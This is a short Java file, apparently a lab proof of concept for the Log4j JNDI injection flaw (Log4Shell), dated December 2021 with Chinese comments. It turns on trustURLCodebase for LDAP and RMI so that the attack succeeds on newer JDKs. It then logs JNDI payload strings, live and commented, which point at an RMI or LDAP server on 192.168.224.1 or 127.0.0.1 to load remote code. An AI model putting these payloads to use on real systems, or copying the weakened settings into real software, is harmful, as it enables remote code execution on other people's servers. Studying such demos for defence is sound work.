package com.easy.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Packge com.easy.log4j
 * @Autor linNaibin
 * @Description
 * @Version 1.0
 * @Date 2021/12/10 15:52
 */
public class Log4jBugApplication {

    private static Logger logger = LogManager.getLogger(Log4jBugApplication.class);

    // 与 web 服务配合

    public static void main(String[] args) throws Exception {
        //高版本的jdk默认trustURLCodebase为false，因此不能成功利用JNDI注入，将trustURLCodebase设置为true后就可以成功利用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        //
        System.out.println("  start .. .");

        // ldap 服务
        //  logger.error("${jndi:ldap://127.0.0.1:1389/a}");

        //   logger.info("${java:os}");
        logger.error("${java:os}");

        // rmi
        // logger.info("${jndi:rmi://127.0.0.1:1039/attack}");
        logger.error("${jndi:rmi://192.168.224.1:1039/attack}");


        System.out.println(" success .");
    }

}
